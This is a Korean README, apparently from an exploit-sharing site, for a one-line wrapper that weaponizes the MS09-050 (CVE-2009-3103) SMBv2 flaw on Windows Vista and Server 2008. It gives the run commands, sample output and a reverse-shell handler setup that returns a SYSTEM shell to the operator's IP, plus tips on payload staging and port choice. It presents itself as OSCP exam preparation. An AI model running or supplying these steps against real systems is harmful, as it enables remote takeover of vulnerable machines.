MS09-050 SMBv2 익스플로잇 래퍼

MS09-050 (CVE-2009-3103) 익스플로잇을 위한 한 줄 설정. 번거로움 없이, 디버깅 없이, 그냥 작동합니다.

왜?

돌아다니는 대부분의 MS09-050 스크립트는 수동 셸코드 주입이 필요하고, 핸들러와 타이밍 문제가 있거나, 그냥 작동하지 않습니다. 이 래퍼는:

• 올바른 매개변수로 셸코드 생성
• 익스플로잇 자동 빌드
• 바로 사용 가능한 Metasploit 핸들러 생성
• 정확히 무엇을 실행해야 하는지 안내

시간이 중요한 OSCP 준비를 위해 제작되었습니다.

대상

• 취약점: MS09-050 / CVE-2009-3103
• 영향받는 시스템: Windows Vista SP1/SP2, Windows Server 2008 (R2 이전)
• 서비스: 포트 445의 SMBv2
• 결과: SYSTEM 셸

요구 사항

• Kali Linux (또는 Metasploit이 있는 모든 배포판)
• msfvenom
• msfconsole
• python2
• rpcclient (보통 사전 설치됨)

사용법

./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]

예시

./ms09_050.sh 192.168.233.40 192.168.45.232 443

출력:

[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
    - exploit.py
    - handler.rc

=== RUN ===

Terminal 1:  msfconsole -q -r handler.rc
Terminal 2:  python2 exploit.py 192.168.233.40

실행

1. 터미널 1 - 핸들러 시작:

   root@kitploit:~

   msfconsole -q -r handler.rc
   

   Started reverse TCP handler on ...을 기다립니다.

2. 터미널 2 - 익스플로잇 실행:

   root@kitploit:~

   python2 exploit.py 192.168.233.40
   

3. 터미널 1에서 셸을 확인합니다.

참고 사항

• 스테이징 페이로드(windows/shell/reverse_tcp) 사용 - 이 익스플로잇의 스테이저와 안정적으로 작동
• 익스플로잇이 실패하면 대상이 재부팅이 필요하거나 취약하지 않을 수 있음
• 4444가 필터링된 경우 포트 443 권장

크레딧

원본 익스플로잇은 ohnozzy의 MS09-050 PoC를 기반으로 함.

라이선스

MIT - 원하는 대로 사용하되, 악용하지 마세요.